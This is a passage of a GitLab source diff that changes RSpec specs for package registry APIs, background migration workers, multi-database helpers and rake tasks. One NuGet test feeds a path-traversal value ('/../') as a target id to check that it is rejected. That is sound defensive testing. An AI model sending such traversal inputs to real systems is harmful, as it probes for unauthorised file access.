+ participant_ids = json_response.map { |el| el['id'] }
+ expect(participant_ids).to match_array([entity.author_id, note.author_id])
+ end
+
+ context 'when user cannot see a confidential note' do
+ it 'returns a limited list of participants' do
+ get api("/projects/#{project.id}/#{area}/#{entity.iid}/participants", create(:user))
+
+ expect(response).to have_gitlab_http_status(:ok)
+ participant_ids = json_response.map { |el| el['id'] }
+ expect(participant_ids).to match_array([entity.author_id])
+ end
+ end
+ end
end
diff --git a/spec/support/shared_examples/requests/api/npm_packages_shared_examples.rb b/spec/support/shared_examples/requests/api/npm_packages_shared_examples.rb
index 19677e92001..8d6d85732be 100644
--- a/spec/support/shared_examples/requests/api/npm_packages_shared_examples.rb
+++ b/spec/support/shared_examples/requests/api/npm_packages_shared_examples.rb
@@ -41,19 +41,6 @@ RSpec.shared_examples 'handling get metadata requests' do |scope: :project|
# query count can slightly change between the examples so we're using a custom threshold
expect { get(url, headers: headers) }.not_to exceed_query_limit(control).with_threshold(4)
end
-
- context 'with packages_npm_abbreviated_metadata disabled' do
- before do
- stub_feature_flags(packages_npm_abbreviated_metadata: false)
- end
-
- it 'calls the presenter without including metadata' do
- expect(::Packages::Npm::PackagePresenter)
- .to receive(:new).with(anything, anything, include_metadata: false).and_call_original
-
- subject
- end
- end
end
shared_examples 'reject metadata request' do |status:|
diff --git a/spec/support/shared_examples/requests/api/nuget_packages_shared_examples.rb b/spec/support/shared_examples/requests/api/nuget_packages_shared_examples.rb
index 878cbc10a24..6568d51b90e 100644
--- a/spec/support/shared_examples/requests/api/nuget_packages_shared_examples.rb
+++ b/spec/support/shared_examples/requests/api/nuget_packages_shared_examples.rb
@@ -391,7 +391,7 @@ RSpec.shared_examples 'rejects nuget access with invalid target id' do
context 'with a target id with invalid integers' do
using RSpec::Parameterized::TableSyntax
- let(:target) { OpenStruct.new(id: id) }
+ let(:target) { double(id: id) }
where(:id, :status) do
'/../' | :bad_request
@@ -411,7 +411,7 @@ end
RSpec.shared_examples 'rejects nuget access with unknown target id' do
context 'with an unknown target' do
- let(:target) { OpenStruct.new(id: 1234567890) }
+ let(:target) { double(id: 1234567890) }
context 'as anonymous' do
it_behaves_like 'rejects nuget packages access', :anonymous, :unauthorized
diff --git a/spec/support/shared_examples/requests/api/pypi_packages_shared_examples.rb b/spec/support/shared_examples/requests/api/pypi_packages_shared_examples.rb
index 06c51add438..aff086d1ba3 100644
--- a/spec/support/shared_examples/requests/api/pypi_packages_shared_examples.rb
+++ b/spec/support/shared_examples/requests/api/pypi_packages_shared_examples.rb
@@ -346,7 +346,8 @@ RSpec.shared_examples 'a pypi user namespace endpoint' do
end
with_them do
- let_it_be_with_reload(:group) { create(:namespace) }
+ # only groups are supported, so this "group" is actually the wrong namespace type
+ let_it_be_with_reload(:group) { create(:user_namespace) }
let(:headers) { user_role == :anonymous ? {} : basic_auth_header(user.username, personal_access_token.token) }
before do
diff --git a/spec/support/shared_examples/services/packages/debian/generate_distribution_shared_examples.rb b/spec/support/shared_examples/services/packages/debian/generate_distribution_shared_examples.rb
index c979fdc2bb0..7fd20fc3909 100644
--- a/spec/support/shared_examples/services/packages/debian/generate_distribution_shared_examples.rb
+++ b/spec/support/shared_examples/services/packages/debian/generate_distribution_shared_examples.rb
@@ -126,7 +126,7 @@ RSpec.shared_examples 'Generate Debian Distribution and component files' do
SHA256: #{package_files[4].file_sha256}
EOF
- expected_main_source_content = <<~EOF
+ expected_main_sources_content = <<~EOF
Package: #{package.name}
Binary: sample-dev, libsample0, sample-udeb
Version: #{package.version}
@@ -158,7 +158,7 @@ RSpec.shared_examples 'Generate Debian Distribution and component files' do
check_component_file(current_time.round, 'main', :di_packages, 'amd64', expected_main_amd64_di_content)
check_component_file(current_time.round, 'main', :di_packages, 'arm64', nil)
- check_component_file(current_time.round, 'main', :source, nil, expected_main_source_content)
+ check_component_file(current_time.round, 'main', :sources, nil, expected_main_sources_content)
check_component_file(current_time.round, 'contrib', :packages, 'all', nil)
check_component_file(current_time.round, 'contrib', :packages, 'amd64', nil)
@@ -168,7 +168,7 @@ RSpec.shared_examples 'Generate Debian Distribution and component files' do
check_component_file(current_time.round, 'contrib', :di_packages, 'amd64', nil)
check_component_file(current_time.round, 'contrib', :di_packages, 'arm64', nil)
- check_component_file(current_time.round, 'contrib', :source, nil, nil)
+ check_component_file(current_time.round, 'contrib', :sources, nil, nil)
main_amd64_size = expected_main_amd64_content.length
main_amd64_md5sum = Digest::MD5.hexdigest(expected_main_amd64_content)
@@ -182,9 +182,9 @@ RSpec.shared_examples 'Generate Debian Distribution and component files' do
main_amd64_di_md5sum = Digest::MD5.hexdigest(expected_main_amd64_di_content)
main_amd64_di_sha256 = Digest::SHA256.hexdigest(expected_main_amd64_di_content)
- main_source_size = expected_main_source_content.length
- main_source_md5sum = Digest::MD5.hexdigest(expected_main_source_content)
- main_source_sha256 = Digest::SHA256.hexdigest(expected_main_source_content)
+ main_sources_size = expected_main_sources_content.length
+ main_sources_md5sum = Digest::MD5.hexdigest(expected_main_sources_content)
+ main_sources_sha256 = Digest::SHA256.hexdigest(expected_main_sources_content)
expected_release_content = <<~EOF
Codename: unstable
@@ -199,14 +199,14 @@ RSpec.shared_examples 'Generate Debian Distribution and component files' do
d41d8cd98f00b204e9800998ecf8427e 0 contrib/debian-installer/binary-amd64/Packages
d41d8cd98f00b204e9800998ecf8427e 0 contrib/binary-arm64/Packages
d41d8cd98f00b204e9800998ecf8427e 0 contrib/debian-installer/binary-arm64/Packages
- d41d8cd98f00b204e9800998ecf8427e 0 contrib/source/Source
+ d41d8cd98f00b204e9800998ecf8427e 0 contrib/source/Sources
d41d8cd98f00b204e9800998ecf8427e 0 main/binary-all/Packages
d41d8cd98f00b204e9800998ecf8427e 0 main/debian-installer/binary-all/Packages
#{main_amd64_md5sum} #{main_amd64_size} main/binary-amd64/Packages
#{main_amd64_di_md5sum} #{main_amd64_di_size} main/debian-installer/binary-amd64/Packages
d41d8cd98f00b204e9800998ecf8427e 0 main/binary-arm64/Packages
d41d8cd98f00b204e9800998ecf8427e 0 main/debian-installer/binary-arm64/Packages
- #{main_source_md5sum} #{main_source_size} main/source/Source
+ #{main_sources_md5sum} #{main_sources_size} main/source/Sources
SHA256:
#{contrib_all_sha256} #{contrib_all_size} contrib/binary-all/Packages
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 0 contrib/debian-installer/binary-all/Packages
@@ -214,14 +214,14 @@ RSpec.shared_examples 'Generate Debian Distribution and component files' do
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 0 contrib/debian-installer/binary-amd64/Packages
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 0 contrib/binary-arm64/Packages
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 0 contrib/debian-installer/binary-arm64/Packages
- e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 0 contrib/source/Source
+ e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 0 contrib/source/Sources
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 0 main/binary-all/Packages
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 0 main/debian-installer/binary-all/Packages
#{main_amd64_sha256} #{main_amd64_size} main/binary-amd64/Packages
#{main_amd64_di_sha256} #{main_amd64_di_size} main/debian-installer/binary-amd64/Packages
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 0 main/binary-arm64/Packages
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 0 main/debian-installer/binary-arm64/Packages
- #{main_source_sha256} #{main_source_size} main/source/Source
+ #{main_sources_sha256} #{main_sources_size} main/source/Sources
EOF
check_release_files(expected_release_content)
diff --git a/spec/support/shared_examples/workers/background_migration_worker_shared_examples.rb b/spec/support/shared_examples/workers/background_migration_worker_shared_examples.rb
new file mode 100644
index 00000000000..0d3e158d358
--- /dev/null
+++ b/spec/support/shared_examples/workers/background_migration_worker_shared_examples.rb
@@ -0,0 +1,212 @@
+# frozen_string_literal: true
+
+RSpec.shared_examples 'it runs background migration jobs' do |tracking_database, metric_name|
+ describe 'defining the job attributes' do
+ it 'defines the data_consistency as always' do
+ expect(described_class.get_data_consistency).to eq(:always)
+ end
+
+ it 'defines the retry count in sidekiq_options' do
+ expect(described_class.sidekiq_options['retry']).to eq(3)
+ end
+
+ it 'defines the feature_category as database' do
+ expect(described_class.get_feature_category).to eq(:database)
+ end
+
+ it 'defines the urgency as throttled' do
+ expect(described_class.get_urgency).to eq(:throttled)
+ end
+
+ it 'defines the loggable_arguments' do
+ expect(described_class.loggable_arguments).to match_array([0, 1])
+ end
+ end
+
+ describe '.tracking_database' do
+ it 'does not raise an error' do
+ expect { described_class.tracking_database }.not_to raise_error
+ end
+
+ it 'overrides the method to return the tracking database' do
+ expect(described_class.tracking_database).to eq(tracking_database)
+ end
+ end
+
+ describe '.unhealthy_metric_name' do
+ it 'does not raise an error' do
+ expect { described_class.unhealthy_metric_name }.not_to raise_error
+ end
+
+ it 'overrides the method to return the unhealthy metric name' do
+ expect(described_class.unhealthy_metric_name).to eq(metric_name)
+ end
+ end
+
+ describe '.minimum_interval' do
+ it 'returns 2 minutes' do
+ expect(described_class.minimum_interval).to eq(2.minutes.to_i)
+ end
+ end
+
+ describe '#perform' do
+ let(:worker) { described_class.new }
+
+ before do
+ allow(worker).to receive(:jid).and_return(1)
+ allow(worker).to receive(:always_perform?).and_return(false)
+
+ allow(Postgresql::ReplicationSlot).to receive(:lag_too_great?).and_return(false)
+ end
+
+ it 'performs jobs using the coordinator for the worker' do
+ expect_next_instance_of(Gitlab::BackgroundMigration::JobCoordinator) do |coordinator|
+ allow(coordinator).to receive(:with_shared_connection).and_yield
+
+ expect(coordinator.worker_class).to eq(described_class)
+ expect(coordinator).to receive(:perform).with('Foo', [10, 20])
+ end
+
+ worker.perform('Foo', [10, 20])
+ end
+
+ context 'when lease can be obtained' do
+ let(:coordinator) { double('job coordinator') }
+
+ before do
+ allow(Gitlab::BackgroundMigration).to receive(:coordinator_for_database)
+ .with(tracking_database)
+ .and_return(coordinator)
+
+ allow(coordinator).to receive(:with_shared_connection).and_yield
+ end
+
+ it 'sets up the shared connection before checking replication' do
+ expect(coordinator).to receive(:with_shared_connection).and_yield.ordered
+ expect(Postgresql::ReplicationSlot).to receive(:lag_too_great?).and_return(false).ordered
+
+ expect(coordinator).to receive(:perform).with('Foo', [10, 20])
+
+ worker.perform('Foo', [10, 20])
+ end
+
+ it 'performs a background migration' do
+ expect(coordinator).to receive(:perform).with('Foo', [10, 20])
+
+ worker.perform('Foo', [10, 20])
+ end
+
+ context 'when lease_attempts is 1' do
+ it 'performs a background migration' do
+ expect(coordinator).to receive(:perform).with('Foo', [10, 20])
+
+ worker.perform('Foo', [10, 20], 1)
+ end
+ end
+
+ it 'can run scheduled job and retried job concurrently' do
+ expect(coordinator)
+ .to receive(:perform)
+ .with('Foo', [10, 20])
+ .exactly(2).time
+
+ worker.perform('Foo', [10, 20])
+ worker.perform('Foo', [10, 20], described_class::MAX_LEASE_ATTEMPTS - 1)
+ end
+
+ it 'sets the class that will be executed as the caller_id' do
+ expect(coordinator).to receive(:perform) do
+ expect(Gitlab::ApplicationContext.current).to include('meta.caller_id' => 'Foo')
+ end
+
+ worker.perform('Foo', [10, 20])
+ end
+ end
+
+ context 'when lease not obtained (migration of same class was performed recently)' do
+ let(:timeout) { described_class.minimum_interval }
+ let(:lease_key) { "#{described_class.name}:Foo" }
+ let(:coordinator) { double('job coordinator') }
+
+ before do
+ allow(Gitlab::BackgroundMigration).to receive(:coordinator_for_database)
+ .with(tracking_database)
+ .and_return(coordinator)
+
+ allow(coordinator).to receive(:with_shared_connection).and_yield
+
+ expect(coordinator).not_to receive(:perform)
+
+ Gitlab::ExclusiveLease.new(lease_key, timeout: timeout).try_obtain
+ end
+
+ it 'reschedules the migration and decrements the lease_attempts' do
+ expect(described_class)
+ .to receive(:perform_in)
+ .with(a_kind_of(Numeric), 'Foo', [10, 20], 4)
+
+ worker.perform('Foo', [10, 20], 5)
+ end
+
+ context 'when lease_attempts is 1' do
+ let(:lease_key) { "#{described_class.name}:Foo:retried" }
+
+ it 'reschedules the migration and decrements the lease_attempts' do
+ expect(described_class)
+ .to receive(:perform_in)
+ .with(a_kind_of(Numeric), 'Foo', [10, 20], 0)
+
+ worker.perform('Foo', [10, 20], 1)
+ end
+ end
+
+ context 'when lease_attempts is 0' do
+ let(:lease_key) { "#{described_class.name}:Foo:retried" }
+
+ it 'gives up performing the migration' do
+ expect(described_class).not_to receive(:perform_in)
+ expect(Sidekiq.logger).to receive(:warn).with(
+ class: 'Foo',
+ message: 'Job could not get an exclusive lease after several tries. Giving up.',
+ job_id: 1)
+
+ worker.perform('Foo', [10, 20], 0)
+ end
+ end
+ end
+
+ context 'when database is not healthy' do
+ before do
+ expect(Postgresql::ReplicationSlot).to receive(:lag_too_great?).and_return(true)
+ end
+
+ it 'reschedules a migration if the database is not healthy' do
+ expect(described_class)
+ .to receive(:perform_in)
+ .with(a_kind_of(Numeric), 'Foo', [10, 20], 4)
+
+ worker.perform('Foo', [10, 20])
+ end
+
+ it 'increments the unhealthy counter' do
+ counter = Gitlab::Metrics.counter(metric_name, 'msg')
+
+ expect(described_class).to receive(:perform_in)
+
+ expect { worker.perform('Foo', [10, 20]) }.to change { counter.get }.by(1)
+ end
+
+ context 'when lease_attempts is 0' do
+ it 'gives up performing the migration' do
+ expect(described_class).not_to receive(:perform_in)
+ expect(Sidekiq.logger).to receive(:warn).with(
+ class: 'Foo',
+ message: 'Database was unhealthy after several tries. Giving up.',
+ job_id: 1)
+
+ worker.perform('Foo', [10, 20], 0)
+ end
+ end
+ end
+ end
+end
diff --git a/spec/support_specs/database/multiple_databases_spec.rb b/spec/support_specs/database/multiple_databases_spec.rb
index 10d1a8277c6..a8692e315fe 100644
--- a/spec/support_specs/database/multiple_databases_spec.rb
+++ b/spec/support_specs/database/multiple_databases_spec.rb
@@ -56,4 +56,43 @@ RSpec.describe 'Database::MultipleDatabases' do
end
end
end
+
+ describe '.with_added_ci_connection' do
+ context 'when only a single database is setup' do
+ before do
+ skip_if_multiple_databases_are_setup
+ end
+
+ it 'connects Ci::ApplicationRecord to the main database for the duration of the block', :aggregate_failures do
+ main_database = current_database(ActiveRecord::Base)
+ original_database = current_database(Ci::ApplicationRecord)
+
+ with_added_ci_connection do
+ expect(current_database(Ci::ApplicationRecord)).to eq(main_database)
+ end
+
+ expect(current_database(Ci::ApplicationRecord)).to eq(original_database)
+ end
+ end
+
+ context 'when multiple databases are setup' do
+ before do
+ skip_if_multiple_databases_not_setup
+ end
+
+ it 'does not mock the original Ci::ApplicationRecord connection', :aggregate_failures do
+ original_database = current_database(Ci::ApplicationRecord)
+
+ with_added_ci_connection do
+ expect(current_database(Ci::ApplicationRecord)).to eq(original_database)
+ end
+
+ expect(current_database(Ci::ApplicationRecord)).to eq(original_database)
+ end
+ end
+
+ def current_database(connection_class)
+ connection_class.retrieve_connection.execute('select current_database()').first
+ end
+ end
end
diff --git a/spec/support_specs/database/prevent_cross_joins_spec.rb b/spec/support_specs/database/prevent_cross_joins_spec.rb
index 0fbcd190c2c..efeabd15b58 100644
--- a/spec/support_specs/database/prevent_cross_joins_spec.rb
+++ b/spec/support_specs/database/prevent_cross_joins_spec.rb
@@ -39,6 +39,15 @@ RSpec.describe Database::PreventCrossJoins do
expect { main_and_ci_query_allowlist_nested }.not_to raise_error
end
end
+
+ context 'when there is a parser error' do
+ it 'does not raise parse PGQuery::ParseError' do
+ # Since this is in an invalid query it still raises from ActiveRecord
+ # but this tests that we rescue the PGQuery::ParseError which would
+ # have otherwise raised first
+ expect { ApplicationRecord.connection.execute('SELECT SELECT FROM SELECT') }.to raise_error(ActiveRecord::StatementInvalid)
+ end
+ end
end
end
diff --git a/spec/support_specs/helpers/graphql_helpers_spec.rb b/spec/support_specs/helpers/graphql_helpers_spec.rb
index a9fe5b8d196..fae29ec32f5 100644
--- a/spec/support_specs/helpers/graphql_helpers_spec.rb
+++ b/spec/support_specs/helpers/graphql_helpers_spec.rb
@@ -43,6 +43,21 @@ RSpec.describe GraphqlHelpers do
expect(graphql_dig_at(data, :foo, :nodes, :bar, :nodes, :id)).to eq([1, 2, 3, 4])
end
+
+ it 'does not omit nils at the leaves' do
+ data = {
+ 'foo' => {
+ 'nodes' => [
+ { 'bar' => { 'nodes' => [{ 'id' => nil }, { 'id' => 2 }] } },
+ { 'bar' => { 'nodes' => [{ 'id' => 3 }, { 'id' => nil }] } },
+ { 'bar' => nil }
+ ]
+ },
+ 'irrelevant' => 'the field is a red-herring'
+ }
+
+ expect(graphql_dig_at(data, :foo, :nodes, :bar, :nodes, :id)).to eq([nil, 2, 3, nil])
+ end
end
describe 'var' do
diff --git a/spec/tasks/gitlab/background_migrations_rake_spec.rb b/spec/tasks/gitlab/background_migrations_rake_spec.rb
new file mode 100644
index 00000000000..079b4d3aea8
--- /dev/null
+++ b/spec/tasks/gitlab/background_migrations_rake_spec.rb
@@ -0,0 +1,49 @@
+# frozen_string_literal: true
+
+require 'rake_helper'
+
+RSpec.describe 'gitlab:background_migrations namespace rake tasks' do
+ before do
+ Rake.application.rake_require 'tasks/gitlab/background_migrations'
+ end
+
+ describe 'finalize' do
+ subject(:finalize_task) { run_rake_task('gitlab:background_migrations:finalize', *arguments) }
+
+ context 'without the proper arguments' do
+ let(:arguments) { %w[CopyColumnUsingBackgroundMigrationJob events id] }
+
+ it 'exits without finalizing the migration' do
+ expect(Gitlab::Database::BackgroundMigration::BatchedMigrationRunner).not_to receive(:finalize)
+
+ expect { finalize_task }.to output(/Must specify job_arguments as an argument/).to_stdout
+ .and raise_error(SystemExit) { |error| expect(error.status).to eq(1) }
+ end
+ end
+
+ context 'with the proper arguments' do
+ let(:arguments) { %w[CopyColumnUsingBackgroundMigrationJob events id [["id1"\,"id2"]]] }
+
+ it 'finalizes the matching migration' do
+ expect(Gitlab::Database::BackgroundMigration::BatchedMigrationRunner).to receive(:finalize)
+ .with('CopyColumnUsingBackgroundMigrationJob', 'events', 'id', [%w[id1 id2]])
+
+ expect { finalize_task }.to output(/Done/).to_stdout
+ end
+ end
+ end
+
+ describe 'status' do
+ subject(:status_task) { run_rake_task('gitlab:background_migrations:status') }
+
+ it 'outputs the status of background migrations' do
+ migration1 = create(:batched_background_migration, :finished, job_arguments: [%w[id1 id2]])
+ migration2 = create(:batched_background_migration, :failed, job_arguments: [])
+
+ expect { status_task }.to output(<<~OUTPUT).to_stdout
+ finished | #{migration1.job_class_name},#{migration1.table_name},#{migration1.column_name},[["id1","id2"]]
+ failed | #{migration2.job_class_name},#{migration2.table_name},#{migration2.column_name},[]
+ OUTPUT
+ end
+ end
+end
diff --git a/spec/tasks/gitlab/cleanup_rake_spec.rb b/spec/tasks/gitlab/cleanup_rake_spec.rb
index 16c907ca87c..bd4d9643433 100644
--- a/spec/tasks/gitlab/cleanup_rake_spec.rb
+++ b/spec/tasks/gitlab/cleanup_rake_spec.rb
@@ -166,17 +166,17 @@ RSpec.describe 'gitlab:cleanup rake tasks', :silence_stdout do
end
context 'sessions' do
- describe 'gitlab:cleanup:sessions:active_sessions_lookup_keys', :clean_gitlab_redis_shared_state do
+ describe 'gitlab:cleanup:sessions:active_sessions_lookup_keys', :clean_gitlab_redis_sessions do
subject(:rake_task) { run_rake_task('gitlab:cleanup:sessions:active_sessions_lookup_keys') }
let!(:user) { create(:user) }
let(:existing_session_id) { '5' }
before do
- Gitlab::Redis::SharedState.with do |redis|
- redis.set("session:user:gitlab:#{user.id}:#{existing_session_id}",
- Marshal.dump(true))
- redis.sadd("session:lookup:user:gitlab:#{user.id}", (1..10).to_a)
+ Gitlab::Redis::Sessions.with do |redis|
+ redis.set(ActiveSession.key_name(user.id, existing_session_id),
+ ActiveSession.new(session_id: 'x').dump)
+ redis.sadd(ActiveSession.lookup_key_name(user.id), (1..10).to_a)
end
end
@@ -185,11 +185,11 @@ RSpec.describe 'gitlab:cleanup rake tasks', :silence_stdout do
end
it 'removes expired active session lookup keys' do
- Gitlab::Redis::SharedState.with do |redis|
- lookup_key = "session:lookup:user:gitlab:#{user.id}"
+ Gitlab::Redis::Sessions.with do |redis|
+ lookup_key = ActiveSession.lookup_key_name(user.id)
+
expect { subject }.to change { redis.scard(lookup_key) }.from(10).to(1)
- expect(redis.smembers("session:lookup:user:gitlab:#{user.id}")).to(
- eql([existing_session_id]))
+ expect(redis.smembers(lookup_key)).to contain_exactly existing_session_id
end
end
end
diff --git a/spec/tasks/gitlab/db_rake_spec.rb b/spec/tasks/gitlab/db_rake_spec.rb
index 38392f77307..830d0dded2e 100644
--- a/spec/tasks/gitlab/db_rake_spec.rb
+++ b/spec/tasks/gitlab/db_rake_spec.rb
@@ -138,6 +138,10 @@ RSpec.describe 'gitlab:db namespace rake task', :silence_stdout do
stub_file_read(structure_file, content: input)
allow(File).to receive(:open).with(structure_file.to_s, any_args).and_yield(output)
end
+
+ if Gitlab.ee?
+ allow(File).to receive(:open).with(Rails.root.join(Gitlab::Database::GEO_DATABASE_DIR, 'structure.sql').to_s, any_args).and_yield(output)
+ end
end
after do
@@ -191,7 +195,7 @@ RSpec.describe 'gitlab:db namespace rake task', :silence_stdout do
it 'drops extra schemas' do
Gitlab::Database::EXTRA_SCHEMAS.each do |schema|
- expect(connection).to receive(:execute).with("DROP SCHEMA IF EXISTS \"#{schema}\"")
+ expect(connection).to receive(:execute).with("DROP SCHEMA IF EXISTS \"#{schema}\" CASCADE")
end
subject
@@ -199,43 +203,38 @@ RSpec.describe 'gitlab:db namespace rake task', :silence_stdout do
end
describe 'reindex' do
- let(:reindex) { double('reindex') }
- let(:indexes) { double('indexes') }
- let(:databases) { Gitlab::Database.database_base_models }
- let(:databases_count) { databases.count }
-
- it 'cleans up any leftover indexes' do
- expect(Gitlab::Database::Reindexing).to receive(:cleanup_leftovers!).exactly(databases_count).times
+ it 'delegates to Gitlab::Database::Reindexing' do
+ expect(Gitlab::Database::Reindexing).to receive(:invoke)
run_rake_task('gitlab:db:reindex')
end
- context 'when async index creation is enabled' do
- it 'executes async index creation prior to any reindexing actions' do
- stub_feature_flags(database_async_index_creation: true)
-
- expect(Gitlab::Database::AsyncIndexes).to receive(:create_pending_indexes!).ordered.exactly(databases_count).times
- expect(Gitlab::Database::Reindexing).to receive(:automatic_reindexing).ordered.exactly(databases_count).times
+ context 'when reindexing is not enabled' do
+ it 'is a no-op' do
+ expect(Gitlab::Database::Reindexing).to receive(:enabled?).and_return(false)
+ expect(Gitlab::Database::Reindexing).not_to receive(:invoke)
run_rake_task('gitlab:db:reindex')
end
end
+ end
- context 'when async index creation is disabled' do
- it 'does not execute async index creation' do
- stub_feature_flags(database_async_index_creation: false)
-
- expect(Gitlab::Database::AsyncIndexes).not_to receive(:create_pending_indexes!)
+ databases = ActiveRecord::Tasks::DatabaseTasks.setup_initial_database_yaml
+ ActiveRecord::Tasks::DatabaseTasks.for_each(databases) do |database_name|
+ describe "reindex:#{database_name}" do
+ it 'delegates to Gitlab::Database::Reindexing' do
+ expect(Gitlab::Database::Reindexing).to receive(:invoke).with(database_name)
- run_rake_task('gitlab:db:reindex')
+ run_rake_task("gitlab:db:reindex:#{database_name}")
end
- end
- context 'calls automatic reindexing' do
- it 'uses all candidate indexes' do
- expect(Gitlab::Database::Reindexing).to receive(:automatic_reindexing).exactly(databases_count).times
+ context 'when reindexing is not enabled' do
+ it 'is a no-op' do
+ expect(Gitlab::Database::Reindexing).to receive(:enabled?).and_return(false)
+ expect(Gitlab::Database::Reindexing).not_to receive(:invoke).with(database_name)
- run_rake_task('gitlab:db:reindex')
+ run_rake_task("gitlab:db:reindex:#{database_name}")
+ end
end
end
end
@@ -328,6 +327,32 @@ RSpec.describe 'gitlab:db namespace rake task', :silence_stdout do
end
end
+ context 'with multiple databases', :reestablished_active_record_base do
+ before do
+ allow(ActiveRecord::Tasks::DatabaseTasks).to receive(:setup_initial_database_yaml).and_return([:main, :geo])
+ end
+
+ describe 'db:structure:dump' do
+ it 'invokes gitlab:db:clean_structure_sql' do
+ skip unless Gitlab.ee?
+
+ expect(Rake::Task['gitlab:db:clean_structure_sql']).to receive(:invoke).twice.and_return(true)
+
+ expect { run_rake_task('db:structure:dump:main') }.not_to raise_error
+ end
+ end
+
+ describe 'db:schema:dump' do
+ it 'invokes gitlab:db:clean_structure_sql' do
+ skip unless Gitlab.ee?
+
+ expect(Rake::Task['gitlab:db:clean_structure_sql']).to receive(:invoke).once.and_return(true)
+
+ expect { run_rake_task('db:schema:dump:main') }.not_to raise_error
+ end
+ end
+ end
+
def run_rake_task(task_name, arguments = '')
Rake::Task[task_name].reenable
Rake.application.invoke_task("#{task_name}#{arguments}")
diff --git a/spec/tasks/gitlab/gitaly_rake_spec.rb b/spec/tasks/gitlab/gitaly_rake_spec.rb
index c5625db922d..70c7ddb1d6e 100644
--- a/spec/tasks/gitlab/gitaly_rake_spec.rb
+++ b/spec/tasks/gitlab/gitaly_rake_spec.rb
@@ -7,26 +7,26 @@ RSpec.describe 'gitlab:gitaly namespace rake task', :silence_stdout do
Rake.application.rake_require 'tasks/gitlab/gitaly'
end
- describe 'install' do
- let(:repo) { 'https://gitlab.com/gitlab-org/gitaly.git' }
- let(:clone_path) { Rails.root.join('tmp/tests/gitaly').to_s }
- let(:storage_path) { Rails.root.join('tmp/tests/repositories').to_s }
- let(:version) { File.read(Rails.root.join(Gitlab::GitalyClient::SERVER_VERSION_FILE)).chomp }
+ let(:repo) { 'https://gitlab.com/gitlab-org/gitaly.git' }
+ let(:clone_path) { Rails.root.join('tmp/tests/gitaly').to_s }
+ let(:storage_path) { Rails.root.join('tmp/tests/repositories').to_s }
+ let(:version) { File.read(Rails.root.join(Gitlab::GitalyClient::SERVER_VERSION_FILE)).chomp }
- subject { run_rake_task('gitlab:gitaly:install', clone_path, storage_path) }
+ describe 'clone' do
+ subject { run_rake_task('gitlab:gitaly:clone', clone_path, storage_path) }
context 'no dir given' do
it 'aborts and display a help message' do
# avoid writing task output to spec progress
allow($stderr).to receive :write
- expect { run_rake_task('gitlab:gitaly:install') }.to raise_error /Please specify the directory where you want to install gitaly and the path for the default storage/
+ expect { run_rake_task('gitlab:gitaly:clone') }.to raise_error /Please specify the directory where you want to install gitaly and the path for the default storage/
end
end
context 'no storage path given' do
it 'aborts and display a help message' do
allow($stderr).to receive :write
- expect { run_rake_task('gitlab:gitaly:install', clone_path) }.to raise_error /Please specify the directory where you want to install gitaly and the path for the default storage/
+ expect { run_rake_task('gitlab:gitaly:clone', clone_path) }.to raise_error /Please specify the directory where you want to install gitaly and the path for the default storage/
end
end
@@ -40,11 +40,6 @@ RSpec.describe 'gitlab:gitaly namespace rake task', :silence_stdout do
end
describe 'checkout or clone' do
- before do
- stub_env('CI', false)
- expect(Dir).to receive(:chdir).with(clone_path)
- end
-
it 'calls checkout_or_clone_version with the right arguments' do
expect(main_object)
.to receive(:checkout_or_clone_version).with(version: version, repo: repo, target_dir: clone_path, clone_opts: %w[--depth 1])
@@ -52,6 +47,10 @@ RSpec.describe 'gitlab:gitaly namespace rake task', :silence_stdout do
subject
end
end
+ end
+
+ describe 'install' do
+ subject { run_rake_task('gitlab:gitaly:install', clone_path, storage_path) }
describe 'gmake/make' do
before do
@@ -62,10 +61,6 @@ RSpec.describe 'gitlab:gitaly namespace rake task', :silence_stdout do
end
context 'gmake is available' do
- before do
- expect(main_object).to receive(:checkout_or_clone_version)
- end
-
it 'calls gmake in the gitaly directory' do
expect(Gitlab::Popen).to receive(:popen)
.with(%w[which gmake])
@@ -93,7 +88,6 @@ RSpec.describe 'gitlab:gitaly namespace rake task', :silence_stdout do
context 'gmake is not available' do
before do
- expect(main_object).to receive(:checkout_or_clone_version)
expect(Gitlab::Popen).to receive(:popen)
.with(%w[which gmake])
.and_return(['', 42])
diff --git a/spec/tasks/gitlab/task_helpers_spec.rb b/spec/tasks/gitlab/task_helpers_spec.rb
index 2921913319b..0c43dd15e8c 100644
--- a/spec/tasks/gitlab/task_helpers_spec.rb
+++ b/spec/tasks/gitlab/task_helpers_spec.rb
@@ -72,6 +72,8 @@ RSpec.describe Gitlab::TaskHelpers do
describe '#checkout_version' do
it 'clones the repo in the target dir' do
expect(subject)
+ .to receive(:run_command!).with(%W[#{Gitlab.config.git.bin_path} -C #{clone_path} config protocol.version 2])
+ expect(subject)
.to receive(:run_command!).with(%W[#{Gitlab.config.git.bin_path} -C #{clone_path} fetch --quiet origin #{tag}])
expect(subject)
.to receive(:run_command!).with(%W[#{Gitlab.config.git.bin_path} -C #{clone_path} checkout -f --quiet FETCH_HEAD --])
diff --git a/spec/tooling/danger/product_intelligence_spec.rb b/spec/tooling/danger/product_intelligence_spec.rb
index c090dbb4de4..d0d4b8d4df4 100644
--- a/spec/tooling/danger/product_intelligence_spec.rb
+++ b/spec/tooling/danger/product_intelligence_spec.rb
@@ -65,13 +65,25 @@ RSpec.describe Tooling::Danger::ProductIntelligence do
it { is_expected.to be_empty }
end
end
+ end
+
+ describe '#skip_review' do
+ subject { product_intelligence.skip_review? }
context 'with growth experiment label' do
before do
allow(fake_helper).to receive(:mr_has_labels?).with('growth experiment').and_return(true)
end
- it { is_expected.to be_empty }
+ it { is_expected.to be true }
+ end
+
+ context 'without growth experiment label' do
+ before do
+ allow(fake_helper).to receive(:mr_has_labels?).with('growth experiment').and_return(false)
+ end
+
+ it { is_expected.to be false }
end
end
end
diff --git a/spec/tooling/danger/project_helper_spec.rb b/spec/tooling/danger/project_helper_spec.rb
